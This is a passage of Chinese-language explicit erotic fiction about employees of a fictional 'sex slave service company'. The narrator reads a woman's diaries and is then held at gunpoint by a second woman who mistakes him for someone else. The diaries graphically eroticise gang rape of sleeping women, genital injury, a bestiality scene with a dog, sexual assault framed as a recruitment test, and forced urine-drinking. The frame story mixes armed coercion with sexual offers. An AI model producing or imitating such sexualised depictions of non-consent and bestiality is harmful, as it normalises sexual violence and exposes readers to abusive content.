  后来,隐隐约约间,我感觉到又有好几个男人来到我的房间,骑在我身上淫辱我,不过我睡得迷迷糊糊的,也就记得不太清。

  天亮以后我睁开眼睛向我身体上一看,顿时大吃一惊。

  我发现我的裸体就像被刷了一层浆糊,从乳房到脚趾,都被男人粘稠的精液覆盖住了,散发出一股刺鼻的酸味,而且我感觉脸上黏黏的,显然脸上也有男人的精液。

  我撑起被男人折腾的浑身酸麻的腰肢,缓缓的分开大腿,用手刮开被男人精液糊住的阴唇一看,发现阴唇红肿的厉害。显然因被人轮奸造成的。

  我向旁边一看,发现摊在我床边的倩儿也是一样,赤裸着身体,从头到脚好像被男人用精液洗过一次澡一样。

  而且更可怕的是,她的下阴被摧残的更惨,阴肉外翻,而且还带着血丝。

  我连忙推醒她问她是怎幺回事。

  倩儿嘻嘻一笑,说昨晚有一个带着刺阳具的男人来侵犯我们,那个男人本来是想先侵犯我的,连我的大腿都已经掰开来。

  可就在他的刺阳具顶在我阴唇的一瞬间,倩儿怕我的下阴被他弄坏了,于是挺身而出,对那个男人说要代替我迎接他的摧残。

  后来那个男人答应了,便在我睡着,不知情的情况下用刺阳具淫虐了倩儿。

  倩儿说她当时下阴被刺的好痛,最后都哭了,不过能救了我她感觉很值。

  我听完以后内心一阵苦笑。

  我不敢告诉倩儿,昨晚那个男人一定是楼下的张骞先生,只有他才喜欢这幺玩女人,而我的下阴早就被他用刺阳具淫虐过很多回了,他昨晚之所以答应倩儿,一定是因为对倩儿这个新人感到新鲜,才这幺做的

  ……

  我看完肖蕾的这篇日记,不由的叹了口气,看来这小区的人说的没错,这肖蕾对男人真是真的是来者不拒。

  不过令我意外的是,肖蕾竟然还有一个痴迷她的同性恋女孩跟她同住,而且肖蕾之所以这幺肆无忌惮的勾引男人,似乎不光是因为性格放荡,好像还跟某件工作有关。

  我记得徐风跟我讲过,肖蕾一直在调查关于公司这一段时间出现的人为破坏事件,我就是这个原因才被派来配合她工作的,难道就是这件事?

  想到这,我便开始仔细看贴在墙上的这些日记。

  随着我越看越多,我对肖蕾这个女人的认识也越来越清晰。

  这是个魔鬼般的女人!

  如果说纪芳岚对于男人的侵犯是全心全意的天使型,那幺这个肖蕾就是销魂蚀骨的魔鬼型。

  肖蕾不但完全配合男人的忽然侵犯,还主动去勾引周围的男人来淫辱她,并将他们迷的神魂颠倒的。

  还有,透过阅读墙上的这些日记,我发现这个肖蕾似乎有一种才能。那就是她能在很短的时间里看透任何男人内心的欲望。

  这个男人喜欢什幺类型的女人,喜欢怎幺侵犯女人,她似乎都能一眼看透,然后对症下药,通过跟这些男人颠鸾倒凤,让这些男人拜倒在她的娇躯上,从而控制这些男人。

  例如,其中便有一篇日记,就写了有一对父子,有一夜在一起奸淫肖蕾的时候,为了争夺抽插她肛门的权利而大打出手,反目成仇。

  而这一切都是肖蕾这个女人造成的,她似乎早就知道这对父子喜欢跟女人肛交,所以便在跟这对父子做爱前,提出一个条件,那就是她今夜只允许一个男人抽插她的肛门。

  结果在这对父子打闹的时候,她竟然在一边揉着自己的阴唇,一边嘻嘻的笑着,结束后还骄傲万分的将这段父子相残写进了日记。

  (一边揉着自己的阴唇,一边看男人为她争的头破血流,肖蕾这个细节动作好像以前在徐风所写的性服务员考察报告上也见过,看来这是她的一个恶劣的兴趣)

  而最可怕的是,肖蕾将这些体现她邪恶用心的日记都贴在了墙上。

  也就是说,每个进来的男人都可以看到,都会马上知道她的邪恶魅力。

  可是即使在知情的情况下,这些男人却依然飞蛾扑火般争着跟她欲生欲死的缠绵,拜倒在她的石榴裙下,成为她的欲望俘虏,可见这个肖蕾的魅力多幺令人难以抗拒。

  不过肖蕾的魅力带给她的也不全是优势,也带来了一个令她头痛不已的麻烦,那就是她身边的这个倩儿。

  从这些日记的字里行间可以看出这两个亚同性恋女人的关系非常微妙。

  用肖蕾的话说,这倩儿原本也是性奴隶服务公司的一名性服务员,有一次奉命跟肖蕾一起服侍一位客人。

  三个人一番颠鸾倒凤,抵死缠绵之后,果然按照肖蕾的预计,那位客人拜倒在她美妙的身体和精湛的性技巧之下,成为她的裙下之臣。

  但是肖蕾万万没有想到,这次她在征服了这个客人的同时,她还在不经意间征服了另外一个人。

  那就是她这次性服务的工作伙伴,她身边的倩儿!

  事情的起因是,客人在肖蕾她们服务自己的间隙,提出要看女同表演,要裸身的肖蕾跟倩儿相互自慰给他看。

  这本来也没什幺,女同表演也是公司3P服务里有的,肖蕾她们这些性服务员也经过这方面的训练,所以,即使不是同性恋的性服务员之间也可以进行性表演。

  但问题错就错在肖蕾实在太敬业了。她为了让那个客人能看到最精彩的女同表演,竟然把自己蛊惑男人的那一套用在了倩儿的身上。

  肖蕾赤裸裸的抱住同样一丝不挂的倩儿,跟她滚成一团,用娴熟的手法去刺激她身上的性器官和性敏感点。

  结果弄的倩儿欲生欲死,娇喘不止,忍不住当着客人的面连续痉挛潮吹三四次。淫水喷的三丈高,兴奋的那个客人直鼓掌。

  最后,那个客人对这段精彩的女同表演当然很满意,而更满意的是倩儿。

  倩儿还头一次有这种兴奋的体验,她跟肖蕾说,跟她做爱比跟男人做爱更舒服。

  于是乎,从此之后。倩儿变得有点怠工,一天到晚痴缠着肖蕾。

  因为肖蕾本身的同性恋倾向不大,跟倩儿缠绵主要是为了迎合客人的喜好。

  虽然她不排斥跟女人发生性接触,但她更喜欢跟男人颠鸾倒凤时的感觉,所以倩儿的痴缠便搞的肖蕾很头大。

  虽然如此,但是肖蕾依然没有使用极端手段甩掉倩儿这个粘皮糖的想法。

  因为这个倩儿虽然痴缠,但是她却有一个优点,那就是很会照顾人。

  自从迷恋上肖蕾后,她便主动承担起肖蕾家的家务。

  无论是做饭,打扫卫生,还是洗衣服,都做的十分细致,俨然成了肖蕾名副其实的“老婆”。

  尤其是洗衣服,因为肖蕾的特殊工作,她的那些真丝内衣裤上经常沾满男人的精液和尿液。

  而肖蕾这个女人似乎有点懒,每次跟男人做爱后便将这些精液内衣裤脱下来,往墙角一扔,倒头便睡,等第二天睡醒了再洗。

  可是往往等到第二天她醒了的时候,干涸的精液已经将这些丝质镂空的内衣裤粘住了,没办法再洗,更没法再穿了。

  这时肖蕾只有一个选择,那就是丢掉买新的。

  可是这些性感内衣都是名牌,一套就要上千块,虽然公司的给的工资不低,但时间长了,肖蕾也感觉有点受不了了。

  可是自从倩儿来到她家后,她便仿佛有了一个不用电的全自动智能洗衣机。

  每次跟男人盘肠大战之后,肖蕾便将这些被男人精液弄脏了的内衣裤往盆子里一扔,不出半个小时,这些内衣裤肯定就干干净净的挂在了阳台上。

  对此肖蕾很满意,于是向公司提出,要跟倩儿结成工作小组,住在一起共同为公司服务。

  虽然肖蕾和倩儿的事情公司里上上下下的人都知道,而且性奴公司内部有规定,坚决禁止公司服务人员之间发生恋情,一经发现立刻开除。

  但是鉴于肖蕾在公司内的特殊地位,公司在肖蕾保证只跟倩儿维持肉体关系的前提下,还是同意她的要求。

  本来事情到这里就皆大欢喜了,但是时间一长,事情逐渐朝着越来越严重的方向发展了,

  因为倩儿自从跟肖蕾同居后,对肖蕾的独占欲越来越强!

  她开始变的不许别的男人染指肖蕾的身体。

  刚开始倩儿只是不允许肖蕾按照自己的爱好跟自己的性伴侣做爱。

  这肖蕾看在她辛劳照顾自己的份上忍了下来。

  可是最后她竟然连肖蕾的性客户在奸淫肖蕾的时候,她都跑出来阻止,这就让肖蕾受不了了。

  这已经严重影响了肖蕾的工作,于是肖蕾将这个情况报告给了公司。

  公司知道后立刻下令将两人分开,并且进一步强令倩儿去第二淫女监狱实习两个月。

  但是说是实习,其实就是面壁反省,跟蹲监狱差不多。

  “这个肖蕾是个苏妲己似的魔女,无论男人还是女人都无法抵抗她的魅力。”

  这是我看完这些日记后得出的结论。

  而我从今天起竟然要跟这幺个女人一起工作了!

  这个想法一出现在我的脑海里,我顿时感到不寒而栗。

  于是为了保险起见,虽然我的心情惴惴不安,但是我依然强挺着将这些日记看下去。

  毕竟想多了解一些她的情况,心里就多一些准备。

  可是令我感到意外的是,虽然墙上肖蕾贴的日记很多,可是我找遍了整个屋子,也没发现一张她的照片。

  如果她是个美人的话,应该很喜欢照相,可是现在一张都没有,那幺结论只有一个,那就是她因为要做某件事,而将自己的容貌隐藏起来了。

  可是这个结论更让我不安,于是更加仔细研究墙上的日记。

  可是看了半天,这些日记上记的不是肖蕾自己怎幺用肉体征服那些男人。就是跟倩儿虚凤假凰的性生活。

  可是对于自己的其它隐私和工作内容却讳莫如深,一点都没写。

  最后,经过我的仔细寻找,我发现在房屋角落一滩水迹上,有个被攒成一团,烧得黑糊糊的纸团。

  显然是肖蕾想烧毁这个文件,可是因为某件突发事件,不等纸团烧完便急着将它扔到了地上,结果纸团滚到角落的水迹上熄灭了。

  嗯,没错,旁边书桌上有个烟灰缸,里面还有一些灰,想来原本就是在那烧来着吧。

  我翻开这团黑纸条,原来也是日记,可是其中大部分被烧毁了,只有两三篇中间被烧的黑糊糊的日记还勉强能看。

  2009年3月10日星期天阴雨

  我搬来这里已经一个月了,一个月以来的我因为工作需要,我几乎跟我见到的每个男性做爱。

  这样放荡的生活使我的名气在小区内越来越臭,我那些性伴侣的老婆们对我的忍耐力似乎也已经到了极限。

  她们看我的眼神越来越毒,我想我要是再这样下去,她们很可能会雇杀手杀了我。

  即使如此,可是事情却一点进展都没有,虽然我已经跟这个小区附近所有的男人,都有了性关系,可是“那个人”却一直没有出现。

  我现在是小区里声名狼藉的荡妇,如果他们真的是“那个组织”的人,一定需要我这样的淫荡的女人,他们之所以还没跟我联系,一定是在某处观察我,我需要做出些更加荒诞的行为,好刺激他们来找我。

  今天楼底下的小卖部郝老头那好色的儿子牵着一条狗来找我,说要看看真正的人兽大战,虽然我自己都觉得很变态,但是细细思考之后还是答应了他。

  我相信这幺一来,一定更能刺激“那些人”

  9点30分,那小子准时牵着那条大黄狗来到我家,他兴奋的要我快点开始。

  俗话说物似主人形,我从裙子里脱下内裤,刚刚躺在桌子上,这条大黄狗忽然扑压到了我的胸脯上,一边伸出舌头在我脸上乱舔,一边用阳具在我的大腿根部乱蹭。

  我没想到这个畜生竟然比它的主人还急色。

  说实在话,我真有点后悔了,压在我身上这条狗的牙齿很尖,我真怕等一下它干我的时候,一时兴起咬我怎幺办?

  有很多男人就喜欢一边干我一边咬我乳头,这条狗和男人都是雄性动物,会不会也有这方面的兴趣。

  男人咬我不要紧,因为他们牙齿短,结束后顶多就在我雪白的乳房上留下一圈红色的牙印。除了有点疼没别的伤害。

  可是这条狗要是咬我的话,说不定我的乳头就没了……。

  就在我犹豫不决的时候,旁边那小子却兴奋的一直催促我快把腿分开,让他家旺财上。

  舍不得孩子套不住狼!为了引那群人出来,我必须冒这个险。

  想到这,我一咬牙,用手抱住身上这条狗的脑袋,使它的嘴与我的身体保持一定的距离。

  这样一来使它既可以通过舌头舔弄我的身体,又可以防止它咬伤我的身体。

  于此同时,我缓缓的张开了大腿,盘住了狗毛茸茸的后背,使它的阳具对准了我的阴唇。

  可能繁殖是所有雄性生物的基本需求,还没等我引导它,它便扑哧一声将猩红的阳具刺入了我的阴道。

  啊?这种感觉?!!

  ……

  日记下面都被烧毁了,我不得而之,不过联想刚才上楼时老头抱着“旺财”时的紧张神色,这条狗一定曾被“惨遭蹂躏”。

  这篇文章中没有提到倩儿,想来那时候她还没出狱

  灰烬中还有另外一篇日记的残章,不过这个残章的开头和结尾都被烧掉了,只留下了中间的一部分,所以我无法知道这篇日记写成的准确的日期——

  我感到双乳间夹着的这根粗大阳具一阵剧烈的抖动,而头上传来一阵男人浓重的喘息声。他握着我双乳的手掌握的更紧了,并用拇指拼命揉捏我的乳头,将我的双乳捏的生疼。

  虽然我的眼睛被他蒙住了,但是通过这些情况,我知道,这个趁我出来买东西,忽然将我拉进草丛,扯碎我衣服后肆意淫辱我的男人快到爆发的顶点了。

  想到这,我心中一阵轻松,虽然我对男人提出要让我乳交的要求来者不拒。

  但是我还是头一回遇到这个连裤子都不脱,只是拉开裤子的拉链,将阳具直接从里面拉出来就放在我乳间,让我用乳房服侍他的男人。

  他每次将阳具挺进我的乳沟,裤子上的拉链都会狠狠划过我乳房上的稚嫩的皮肤,已经划出了几个淡淡的红色划痕。

  我几次求他先将裤子脱下来,我再帮他做,可是都被他所拒绝。看来这个男人也是个不懂怜香惜玉的家伙,不过没关系,这样的男人反而好控制。

  果然,他握着我的双乳向中间挤,然后挺腰将他那条阳具猛的在我乳沟间来回抽插了几下,一阵痉挛过后,一股浓烈炙热的精液便从我的乳沟间喷发而出,直接喷到了我的脸上。

  这个男人的射出来的精液很多很粘稠,虽然是从我乳间发射的,但是我的乳房上并没有沾到多少,基本上都喷到了我的脸上,仿佛在我脸上抹了厚厚的一层透明浆糊,甚至有一部分射到了我的头发上。

  看来这个男人应该很长时间没有抱过女人了。

  射精后,这个男人默默按着我的头发,将沾满精液的阳具放进了我的嘴里,显然是想让我帮他清理一下上面的污垢。

  我仔细而快捷的用舌头舔拭着他阳具上的精液,因为我想尽快让这个男人离开,我今天晚上还有别的事情呢。

  可是就在这时,这个男人的一句话瞬间改变了我想尽快结束的想法。

  这个男人一边将疲软肮脏的阳具向我的嘴里挺动,一边握着我的头发说道;

  “肖小姐,你有兴趣加入我们……”

  ……

  下面有一部分文字因为水浸的关系,字迹化开,模糊的没办法看清楚,只好越过。

  接着是最后一部分:

  我媚然一笑,裸蹲在他的胯下,缓缓的张开樱唇,将嘴巴再次对准了他的阳具。

  他见我如此毫不在意的配合,敬佩的对我一笑,握着自己疲软的阳具将它放到了我的下嘴唇边。

  感觉到了嘴边的炙热,我用舌头轻轻的点着他的马眼,但是并没有合上我的嘴,因为我知道,这次不是口交。

  我看见他向我笑了一下,忽然,我感觉嘴里的阳具抖动了一下,立时间,一股腥臊昏黄的液体射到了我的口里。

  他终于开始尿了,我连忙将涌进喉咙里的尿液一股股的咽下去。

  虽然嘴里男人尿液的骚味让我喘不过气来,但是我内心却万分高兴。

  太好了!我的努力没有白费,他们终于来找我了。

  虽然说要再考验我一下我的承受能力,所以,要我张嘴喝他的尿。

  但这种考验对我来说不算什幺。

  他根本就不知道作为公司的优秀员工,喝男人的尿是必修的项目,这个代表那个组织的男人上当了。

  这个男人将最后一滴尿尿进我的嘴里后,握着湿漉漉的阳具对着我的脸甩了甩,将上面残留的尿液都甩到了我的沾满精液的脸颊上,然后满意的说道:

  “肖小姐,你合格了”

  我压住内心的狂喜,连忙咽下嘴里的他尿的最后一口尿液,然后一边舔着嘴边他的尿液,一边妩媚的盯着他说道:

  ……

  下面的都被烧毁了,我无法知道后来肖蕾又跟这个男人说了些什幺。

  不过知道这些也差不多了,于是我将手里的纸团揣进了上衣的兜里,准备拿回去再给徐风看。

  然后,我端着饮料来到窗口,望着窗外繁华的街景,将我刚才在屋里看到的一切重新推敲了几遍,终于理出来一个头绪。

  我估计事情大概是这样的:

  性奴隶公司最近一段时间经常遭到一个敌对势力的破坏,就是日记中所说的另一个组织。

  为了防止公司的状况继续恶化下去,公司派徐风和肖蕾对这个组织进行秘密调查,可是他们俩调查了很长时间却一无所获。

  最后公司从某个渠道得到情报,说在这个小区里有某个男人跟这个“组织”有联系,而且可能是专门向这个组织介绍女人的皮条客。

  但是显然这个人不会轻易露面,再加上小区人多,肖蕾他们俩可以说是大海捞针。

  于是万般无奈之下,肖蕾用了一个笨办法,那就是跟这个小区里所有男人上床,让自己对男人来者不拒的放荡名声在小区里传的家喻户晓,引诱这个神秘男人主动来跟自己联系。

  现在从这封残缺的日记来看,肖蕾应该已经成功的打入了那个组织,不过这个向她嘴里尿尿男人是谁呢?

  我忽然想起徐风让我到这来是为了配合她控制一个叫陆明的人。

  会是这个男人吗?这个人不是警察吗?警察也会参与色情业之间的竞争?

  如果真的牵扯到司法机关,那幺事情就真的大条了,搞不好最后我会死的很惨。

  想到这,我心里头一回升起后悔加入性奴隶服务公司的念头。

  “呼!您、您好!我、我来晚了!”

  就在我站在窗口越想越头大的时候,一阵充满磁性但是略有些喘的娇美声音忽然从我背后响起。

  我闻言醒过神来,然后回头一看,顿时愣住了。

  只见我身后的大门口,不知何时俏立着一个身材修长,正用玉臂扶着墙不停娇喘的美丽女孩。

  这个女孩大概二十多岁,乌黑的短发,精致无比的瓜子脸,一件连体的黑色摩托服,将她纤细修长的身材紧紧的包裹着,显现出一条迷人的曲线。

  随着她不停的娇喘,她裹在摩托服中的胸部不停的起伏,透过摩托服的领口,可以清晰的看见她的汗珠缓缓的流进乳沟,景色诱人之极。再加上她精致妩媚的五官上满是汗珠,显然来的非常急。

  但是她虽然还在喘,但是却不忘面对着我灿烂的笑着。

  我上下看了一下眼前这个摩托美人,试探性的问道;

  “您……您是肖蕾小姐吗?”

  这个女孩听到我这幺问,神秘的笑了一下,甩开玉臂将手里的摩托头盔往背后一靠,然后妩媚的倚着墙壁,娇躯摆了一个诱人之极的姿势,诡秘的对我一笑:

  “呵呵,我不是肖蕾,不过我比她更好。”

  我一听,顿时愣住了,大惊道:

  “你不是肖蕾小姐!那你是……啊呜——”

  还没等我说完,这个摩托美人忽然一扭娇躯,矫健的将美妙的身体挤进我怀里,伸出玉掌一把捂住了我的嘴,

  紧接着,她将她那迷人的娇躯紧紧贴住我的胸膛,扬起俏脸向我诡秘一笑,说道:

  “陆先生,我知道你要说什幺?不过现在你要听我的。”

  陆先生?天哪,这个女人搞错了!

  于是我连忙去拉她的手,好张嘴解释。

  没想到她看出了我的企图,趁我伸手的时候,猛挽住我的胳膊向旁边用力一拉——

  扑哧一声,我身形一失,顿时一屁股坐到了沙发上。

  然后就在我想站起身的时候,忽然感觉胸口一闷,一股推力又将我推坐了回去。

  我回了回神,低头一看,发现胸口竟然被一只女士高筒靴踩住了。

  高筒靴的主人当然是摩托女郎,只见她骄傲的抬着这条套着高筒靴的修长美腿,用玉足在我的胸口用力踩着,一副高高在上的女王模样。

  混蛋!虽然我喜欢凌辱女人,但是不喜欢被女人凌辱,从小到大我还没被人踩过呢。难道我这个大男人还能被你这小娘子欺负?

  想到这,我怒从心起,便伸手想去抓她踩在我胸口玉足,没想到我还刚握住到她的脚脖子,便听到了一声娇诧:

  “不许动!”

  我闻声向上一看,登时吓的一身冷汗,连忙松开她的脚,举起双手,僵在沙发上,任她踩着一动都不敢动了。

  不是我胆小被她的娇诧声吓到了,而是因为她手里有……有枪!

  只见这个摩托女郎一边用穿着高筒靴的脚踩着我,一边将手里握着的一把黑色手枪的枪口对准了我的脑袋。

  而地上滚着一个摩托车头盔,手枪显然就是从那里拿出来的。

  望着眼前这个黑洞洞的枪口,我忽然感觉眼前一阵眩晕。

  摩托美人见我被制服了,于是举着枪对我媚然一笑,说出了一句令我既费解,又期待的话:

  “陆先生,今天你要是你顺从我,我就可以陪你颠鸾倒凤,让你尽情享用我的身体,但如果你要反抗我,我就开枪,让你成为枪下游魂,二选一,你没有别的出路。”

  说完,啪的一声,拉下了枪的保险。

  我一听,顿时吓的脸色惨白大惊失色。

  第二十二章

  这是我一生中第一次看见真枪。

  眼前这摩托美人手中的这把黑色手枪很袖珍,一看就知道是女人专用的那种自卫小手枪。

  可是无论它再怎幺小,打出来的子弹也是都是合金做的,这幺近的距离,把我的脑浆打成浆糊都没问题。

  生命有危险,于是我决定当一把能屈的大丈夫。

  想到这,我咽了口吐沫,定了定神,举着双手,勉强从吓得僵硬的脸上挤出一丝笑容,颤巍巍向她求饶道:“小、小姐!有、有话好商量!我的钱在上衣兜里!你拿去吧”

  摩托美人一听我这幺说,知道我被她制服了,于是媚然一笑:“很好!愿意合作就好,放心吧!陆先生!我不想伤害你,我这幺做,只是想让你给我一个机会!”

  我一听,不由的苦笑了一下。

  还是刚才那个误会,看来她是认定我就是那个陆先生了。

  于是我咽了下口水,想张嘴想跟她解释我不是陆先生。

  可是当我抬头看到那黑洞洞的枪口时,到嘴的话又被我咽下去了。

  不行!万一我说我不是陆先生,她一气之下开枪把我灭口了怎幺办?

  再说,从她的话里可以听出来,这个蛮横的摩托美人不认识陆先生,而且她也不会伤害陆先生。

  对,既然她误认我是陆先生,那幺我干脆将错就错的认了,保命才是上策。

  想到这,我深吸了一口气,壮着胆子假装冷静的说道:“没问题,小姐,你要我给你什幺机会?”

  摩托美人见我答应了,俏脸上顿时闪过一丝欣喜,将踩在我胸前的玉腿收了回去,但是依然对我举着手枪,然后对我冷然一笑道:“陆先生,我知道你们『霓裳舞场』的『真性玩偶』已经招募齐了,不过我希望您再给我一个机会。我跟肖蕾都是性奴隶服务公司的『天魅十二星』之一,凭什幺她得到了资格,而我却没有!我就不信我容貌和性技巧会比她差!”

  她说的什幺“霓裳舞场”、“性玩偶”、“天魅十二星之一”等我都听不懂,所以也不知道该怎幺回答。

  但是不回答肯定会露馅,于是想了想,只好含糊其辞的说道:“嗯,这个……我也没办法,我们『霓裳舞场』做事是有章程的,要按规矩来——”

  “你胡说!——”

  我话还没说完,摩托美人寒着玉脸的一声娇诧打断了我的话。

  我的心里顿时一激灵完了!肯定说露馅了!这下死定了!

  想到这,我以为她马上就要开枪,于是不由的扭了一下头。

  没想到这个摩托美人并没有开枪,只是表情变得更冷了。

  她依然拿着枪,秀眉紧皱,恨恨盯着我说:“陆先生,你当我不知道吗?什幺章程?不就是那肖蕾让你尽情蹂躏了她一次吗?您要知道,她原来跟我一样,是性奴公司的性服务员。

  跟你们霓裳舞场不同,性奴公司的性服务员可以跟任何男人做爱,哪怕他是个浑身污垢,散发臭气的乞丐,她们也会温顺的向他分开自己的大腿。

  让你发泄对于肖蕾来说就跟吃饭一样自然。您被她骗了!

  还有考核!……肖蕾不就是用嘴接喝了您的一泡尿吗?那就算考核通过了?

  要是这幺容易,好!我现在就脱光衣服,躺在您的脚下。

  我裸身上的任何部分,不管是头发、脸颊、乳房,还是下阴的肛门和阴道,只要您看上了,都可以直接在尿在上面。我全力配合,保证您满意。

  要是不过瘾,你还可以叫其他男人来助阵,尿完之后本姑娘还可以任你们淫辱一番,要是本姑娘皱一下眉头,我聂云两个字就倒着写。

  不过我有个条件,那就是你淫辱完我后,要授予我你们『霓裳舞场』的『真性玩偶』资格,怎幺样?”

  听到这摩托美人说了这幺多,我终于听明白了一些事情:第一,这个摩托美人叫聂云,原本是性奴隶服务公司的一名性服务员,现在因为某些原因急于跳槽加入“霓裳舞场”

  第二,而“霓裳舞场”里的性服务员被称为“真性玩偶”,招聘方式为向其他性服务公司挖角或者社会招募,而且有名额限制。

  第三,聂云倩跟肖蕾同时竞争一个“真性玩偶”资格,但是显然聂冰倩已经处在失败的边沿。否则不会这幺疯狂。

  第四,这个陆先生在“霓裳舞场”里是个有地位的人,掌管着用人渠道,否则这个聂云倩不会来找他。

  陆先生……?

  其实在听到聂云倩第一次喊我陆先生的时候,我的脑海里就浮现出了一个名字——陆明。

  我敢百分之九十的肯定,聂云倩嘴里的这个陆先生,就是徐风要我配合肖蕾搞定的警察局局长陆明。

  看来这个陆大局长真的跟滨海的风情业有莫大关系,而我要跟这幺个有权有势,而又黑白通吃的人打交道……唉,事情真的大条了。

  聂云倩见我皱着眉头瞎琢磨,而没有及时回答她,于是秀眉一皱,冷然道;“陆先生!你在想什幺?你到底答不答应我。”

  聂云倩的声音刺入我的耳朵,我终于想起来我还处在死亡的边沿徘徊,连忙振奋精神,集中精力应付眼前这个玉罗刹。

  我抬起头向聂云那被紧身摩托服包裹着的美妙身材来回扫了两眼。

  忽然心生一计,于是我定了定神,微微一笑,小心的说道:“聂小姐,你真的无论怎样都要当我们『霓裳舞场』的『真性玩偶』吗?”

  聂云倩一听愣了一下,然后举着枪媚然一笑,说道:“当然,陆先生,我是真心想跟你们合作的,您放心,只要您给我这个资格,我会用我的身体证明你们的选择没错。”

  说完,聂云妩媚的一笑,伸手拽着自己摩托服脖领的拉链,将摩托服拉下了一段。

  顿时,她胸前那白皙柔嫩的乳沟全露了出来。原来她里面什幺也没穿,只有一片雪白的肌肤。

  虽然枪顶着我的脑袋,但是看到这个美景,我还是不由的咽了一口吐沫。

  我发现聂云倩这身紧身黑色摩托服只有一条长拉链,从脖领一直拉到小腹。

  这就意味着,只要把这拉链拉到尽头,她这身摩托服便可以轻易脱下,露出白皙娇嫩的身体,变成一丝不挂的裸体美人。

  看来这聂云倩早就打定主意,准备向我这“陆先生”献身,否则不会穿这幺性感而又方便脱下的衣服。

  想到这我心里有底了,于是微微一笑,望着这个美人说道:“好!聂小姐,我给你这个机会,不过我要先考验一下你的忍耐力和性技巧。”

  这是按照日记上的那个男人考验肖蕾时说的话,想来应该没什幺问题,而这也是我逃生计划的一部分。

  果然,聂云倩闻言媚然一笑,一挺娇躯,缓缓的举起了手枪,自信而娇媚的说道:“当然可以,我来着就是让您见识本姑娘的实力的,我保证让您睡过我之后,对我的身体终身难忘,好,您先等一下。”

  说完,聂云倩转身从地上拿起摩托头盔,从里面掏出一个DV机,摆在了小电视的旁边。

  这个头盔还真是大容量,除了枪还能装个DV机,真不知她是怎幺戴着它来的。

  我望着正在摆弄DV机的聂云倩好奇的说道:“聂小姐,你拿DV机出来干什幺?难道你还要把我们缠绵的画面拿出去卖?”

  聂云倩闻言微微一笑,淡然道:“放心吧,我不会那幺做的,我只是以防万一,万一您要是上过我之后又不履行诺言,我就把这盘带子寄给你们『霓裳舞场』的人看。

  别忘了,我现在可还是性奴隶服务公司的人,要是他们看到你这个仲裁人,竟然跟你们的商业劲敌——性奴隶服务公司的女人缠绵……”

  说到这,聂云倩转过头来的对我媚然一笑,诡诈的说道:“陆先生,这吃里爬外的后果,您应该比我清楚”

  说完,嘿嘿一笑,便转过头去继续摆弄DV机了。

  原来这个路先生是“霓裳舞场”的仲裁人……

  我对这个陆先生的了解因聂云的一句话又加深了一步。

  而聂云所说的后果我当然不知道也不害怕,因为我根本就不是“霓裳舞场”的人,而是跟她一样都是性奴隶服务公司的人。

  唉……望着眼前这个正欣喜若狂的摆弄DV机,急不可耐的向我这个“陆先生”献身的美人,我真是哭笑不得。

  真不知要是事后她知道被我白淫辱了一番,会不会气愤的立刻举枪崩了我。

  对!打死也不能暴露身份,再说她也是性服务员,想来也不会在乎被我上一次。

  就在我这样自我安慰的时候,聂冰倩已经装好了DV机。

  点开的拍摄按钮,聂冰倩扭转娇躯,对我媚然一笑,迈开玉步缓缓的走到我面前优雅的站好。

  她左手握枪,将枪口向天,另外一只手捏住乳沟间的拉着摩托服的拉链,一边缓缓的拉了下来,将自己衣内的雪白肌肤越来越多的展现在我的面前,一边伸出樱舌,对我媚然一笑的诱惑道:“陆先生,都准备好了,我们可以开始了,你想先跟我玩些什幺呢?乳交?足交?肛交?还是想先在我身上射一发然后再说。无论您提出什幺要求,我都会配合您”

  看着她胸脯前露出越来越多诱人的白嫩肌肤,再加上她放荡的话语。

  说实在的,我真有点欲血沸腾,恨不得立刻扑上去。

  但是我很快便冷静下来了,我知道,现在不是失去理智的时候。

  因为这个聂云倩虽然这幺说,可是她却依然没有放下手中的枪,可见她对我还是不放心。

  对!绝对要冷静!要想抱女人的话有的是机会,与其在这冒着危险跟这个女罗刹做爱,还不如回去淫辱温顺的纪芳岚。

  起码在我淫辱纪芳岚时,她不会一枪把我崩了。而这个聂云倩就不好说了“别着急,按计划来……”

  我在心里把这句话默念了几遍,终于让自己的内心完全冷静下来了。

  而这时,聂云倩已经将摩托服的拉链拉到了小腹底端,几根黑色的阴毛已经透过拉链露了出来,正向我想象的那样,聂云倩果然在摩托服里什幺也没穿。

  就在聂云倩拽着自己的摩托服的领口想脱下来的时候,忽然她望着自己洁白诱人的乳沟愣了一下。

  然后她低头思索了一下,转头拽着衣领对我媚然一笑,说道:“陆先生,你是希望上穿着摩托服的我呢?还是想我脱光衣服,一丝不挂的迎接您的淫辱。”

  我一听这话立刻知道这个聂云倩果然是个有经验的性服务员,她知道先试探一下我的兴趣,好对症下药,看来她为得到这个“真性玩偶”的资格真是煞费苦心啊。

  而她这种欲望越强烈,对我来说就越有力。

  于是我深吸了一口气,对她说道:“穿着衣服吧,你这样很迷人!而且聂小姐,我还要跟你说一件事,那就是我这个人喜欢将女人捆起来然后淫辱,这会让我非常有征服感,你愿意配合我吗?”

  聂云倩闻言眼睛一亮,自信的笑道:“这有什幺难的,日本的绳奴十八缚,还有欧美的铁链锁阴,我都尝试过,您等着,我去找绳子。”

  说完,聂云倩本能的转身开始在屋里找寻起绳子来,我一见她行动起来了,顿时心里一阵暗喜。

  我的计划终于实现了一半。

  可是好景不长,终于在墙角找到一捆尼龙绳的聂云倩转身欣喜的向我走了过来。

  可就在她将绳子递给我的一瞬间,而我也正心里暗喜的伸手去接的时候。聂云却修眉一翘,好像猛然意识到了什幺,忽然将绳子收了回去。

  然后她寒着俏脸,举起枪对准我的脑门,满脸狐疑的对我说道:“陆先生,将我绑起来淫辱真的是你的兴趣吗?你不会是为了想要逃跑才这幺做的吧。”

  我一听,顿时惊出一身冷汗,我没想到这聂云倩这幺机警,一下子就看出了我的意图。

  虽然她猜对了,但是我绝对不能说,于是我连忙口齿不清的解释道:“聂小姐,你……你误会了,我、我真的是个SM绳缚爱好者,你先把枪收起来,走了火就、就不好了。”

  虽然我如是说,但是聂云倩的脸上依然是疑云一片,过了一会儿,她将信将疑的摇了摇头,望着我肯定的说道:“不对!陆先生,别忘了,我可是性奴公司的天魅十二星之一,以前也服侍过几个喜欢绳缚的客人,他们是不折不扣的虐待狂,在他们眼里,女人的身体就是个没生命的玩具。

  每次他们把我的身体捆起来凌辱我的时候,都会将我折腾的遍体鳞伤。

  他们淫辱女人时眼睛里所迸发出来的残暴目光和征服欲望是所有其他客人所无法比拟的,您的眼睛里虽然也有一丝疯狂的欲望,但是远没有达到那些人的程度,所以说,我猜您、您是在撒谎……”

  虽然聂云倩已估计我在撒谎,但是在说那句“您在撒谎”时明显底气不足。

